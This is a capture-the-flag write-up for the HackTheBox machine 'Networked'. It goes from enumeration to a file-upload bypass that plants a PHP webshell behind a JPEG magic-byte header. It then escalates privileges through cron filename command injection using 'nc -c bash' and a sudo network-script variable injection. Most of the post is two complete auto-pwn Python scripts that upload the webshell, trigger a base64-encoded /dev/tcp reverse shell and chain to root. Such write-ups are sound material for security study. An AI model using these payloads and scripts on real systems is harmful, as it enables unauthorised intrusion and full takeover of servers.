Home HackTheBox - Networked
Post
Cancel

HackTheBox - Networked

This box was an Easy box from HackTheBox. It’s OS is Linux. The entry point is with a web vulnerability which allow us to have a file upload vulnerability. With that we can upload a malicious “php” file in a image upload. We get a first shell as apache, the privesc start with the guly user, which we upgrade with a cron. The root we get with a sudo command as root, when we can abuse variables setting.

The exploit for this box is on the body of the post. Hope you enjoy!

Diagram

graph TD
    A[Enumeration] -->|Nmap| B(Ports 80)
    B --> C[File Upload]
    C --> |Apache User| D[Guly Cron]
    D --> |Guly Shell| E[Sudo -l]
    E --> |Root| F[Python Script]
    F --> |Exploit| G[Root Shell]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.146

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

We try to open it on the browser

It seems to be a normal page

We run a gobuster to find some folders in this page

1
gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

And we found an interesting one called backup

We download the file

It’s the source code of the files we have in the server

Probably we’ll need to find vulnerabilities in it and exploit them. So, let’s read them to understand what is happening here

We can check all the files we have requests, which means that we can inject some kind of code or payload in it

1
grep -Ri '$_' *

index.php

This file just show the initial message when we access it

index.php

1
2
3
4
5
6
7
8
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

uploads.php

This one is a little bit more interesting for us

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
  if (!empty($_FILES["myFile"])) {
    $myFile = $_FILES["myFile"];

    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
    }

    if ($myFile["error"] !== UPLOAD_ERR_OK) {
        echo "<p>An error occurred.</p>";
        displayform();
        exit;
    }

    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
    list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

    if (!($valid)) {
      echo "<p>Invalid image file</p>";
      displayform();
      exit;
    }
    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

    $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
    if (!$success) {
        echo "<p>Unable to save file.</p>";
        exit;
    }
    echo "<p>file uploaded, refresh gallery</p>";

    // set proper permissions on the new file
    chmod(UPLOAD_DIR . $name, 0644);
  }
} else {
  displayform();
}
?>

It perform a bunch of checks before upload the file in the server

The first one is to check the check_file_type($_FILES["myFile"]) as true and the size to be less than 60000. We have an extension check in lines 22-29. getnameUpload returns the filename and extension, and then extension is checked with array('.jpg', '.png', '.gif', '.jpeg').

Once these checks are passed, $name is created by replacing the . in the uploaders IP address with _ and adding . and the extension.

lib.php

The only part which is interesting for us is the getnameUpload and check_file_type functions, that is defined is this file

lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}
...
function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}
...

This mime type which the function check is relateted to the signatures from the file, to really get the kind of file it’s being send to the server. We have here a good explanation and exemples about it.

Trigger It

Now, with the proper understand about it, let’s try to interact with the vulnerability and see what is happening.

We open the upload.php on the browser and see just an upload place

We try to upload a simple image, and get it in burp

And it’s uploaded

Now we can see that in photos.php

And we see our image upladed on the gallery

Ok. Now let’s try to send some payloads to it

We upload a malicious one

And get RCE in it

And a reverse shell

Now let’s easily automate it.

Auto Reverse Shell

We’ll use our skeleton

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

auto_pwn_networked.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python3
# Author: 0x4rt3mis
# Python Auto Pwn Networked HackTheBox

import argparse
import requests
import sys
import os
from pwn import *
import base64
import urllib.parse
import re

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Handler root which will be opened in thread
def Handler(lport):
    hand = listen(lport).wait_for_connection()
    hand.interactive()
    
# Upload Malicious with magic hex changed
def maliciousUpload(rhost):
    print("[+] Let's upload the malicious php file !! [+]")
    url = "http://%s/upload.php" %rhost
    data = b'\xff\xd8\xff\xee\r\n\r\n<?php system($_REQUEST[\"cmd\"]); ?>'
    multipart_data = {
        'myFile': ('0x4rt3mis.php.jpeg', data, "image/jpeg"),
        'submit' : (None,"go")
    }
    upload = r.post(url, files=multipart_data, proxies=proxies)

# Trigger the reverse shell
def getReverse(rhost,lhost,lport):
    print("[+] Now Let's get the reverse shell! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
    message_bytes = reverse.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    payload = {
    'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
    payload_str = urllib.parse.urlencode(payload, safe='|')
    new_lhost = re.sub("\.", "_", lhost)
    url = "http://"+ rhost + ":80/uploads/" + new_lhost + ".php.gif?"
    r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
    parser.add_argument('-lp', '--localport', help='Local port', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lport = args.localport
    lhost = args.localip

    '''Here we call the functions'''
    # Set Up the Handler
    thr = Thread(target=Handler,args=(int(lport),))
    thr.start()
    # Upload it
    maliciousUpload(rhost)
    # Get the rev shell
    getReverse(rhost,lhost,lport)

if __name__ == '__main__':
    main()

apache –> Guly

First we need to get guly user in this box

We see on the home folder two interesting files

We see that we have a cron running every three minutes by this guly user, and it runs a file called check_attack.php, we get to good things in it. The first one is that we have the function exec in it, which means that it’s running OS commands, the second is that we can controle the variables which are being passed to it, that is the $path$value. So let’s see how we can explore it.

The variable $path is being seted on the top of the script. But the $value not. The script start reading the files in the upload folder, selecting ones which does not start with .. So if, we put a valid file name, followed by ; (semicolon) it’ll execute it… So, let’s try it out.

We create the malicious file, and wait the cron run it for us

1
touch ';nc -c bash 10.10.16.4 443

Ok, now let’s get a root shell in this box.

Guly –> root

The first things we could try is the sudo -l command, we see that we can run a command as root

Anything after a space in a value in a network script where the format is VARIABLE=value will be executed, so we can get rce in it with this in mind

So, we easly get root in this way

Now, let’s automate everything.

Auto Pwn Root

Here it’s

root_pwn_networked.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/python3
# Author: 0x4rt3mis
# Python Auto Pwn Root Networked HackTheBox

import argparse
import requests
import sys
import os
from pwn import *
import base64
import urllib.parse
import re

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Handler for apache which will be opened in thread
def Handler(lport):
    hand = listen(lport).wait_for_connection()
    lport = lport + 1
    payload = "touch '/var/www/html/uploads/;nc -c bash %s %s'" %(lhost,lport)
    hand.send(b"%s" %payload.encode())
    hand.send(b"\n")
    hand.close()
    
def HandlerGulyRoot(lport):
    print("[+] Let's get root !! [+]")
    root = listen(lport).wait_for_connection()
    root.send(b"sudo /usr/local/sbin/changename.sh")
    root.send(b"\n")
    payload = 'a sh'.encode()
    root.sendlineafter(b'NAME', payload)
    root.sendlineafter(b'PROXY_METHOD', payload)
    root.sendlineafter(b'BROWSER_ONLY', payload)
    root.sendlineafter(b'BOOTPROTO', payload)
    root.interactive()
    
# Upload Malicious with magic hex changed
def maliciousUpload(rhost):
    print("[+] Let's upload the malicious php file !! [+]")
    url = "http://%s/upload.php" %rhost
    data = b'\xff\xd8\xff\xee\r\n\r\n<?php system($_REQUEST[\"cmd\"]); ?>'
    multipart_data = {
        'myFile': ('0x4rt3mis.php.jpeg', data, "image/jpeg"),
        'submit' : (None,"go")
    }
    upload = r.post(url, files=multipart_data, proxies=proxies)

# Trigger the reverse shell
def getReverse(rhost,lhost,lport):
    print("[+] Now Let's get the reverse shell! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
    message_bytes = reverse.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    payload = {
    'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
    payload_str = urllib.parse.urlencode(payload, safe='|')
    new_lhost = re.sub("\.", "_", lhost)
    url = "http://"+ rhost + ":80/uploads/" + new_lhost + ".php.gif?"
    r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
    parser.add_argument('-lp', '--localport', help='Local port', required=True)
    args = parser.parse_args()
    
    global lhost
    rhost = args.target
    lport = args.localport
    lhost = args.localip

    '''Here we call the functions'''
    # Set Up the Handler for apache user
    thr = Thread(target=Handler,args=(int(lport),))
    thr.start()
    # Upload it
    maliciousUpload(rhost)
    # Get the rev shell
    getReverse(rhost,lhost,lport)
    
    '''Now let's get the guly and root shell'''
    # Set Up the Handler for Guly and root user
    lport = int(lport) + 1
    thr = Thread(target=HandlerGulyRoot,args=(int(lport),))
    thr.start()
    
if __name__ == '__main__':
    main()

This post is licensed under CC BY 4.0 by the author.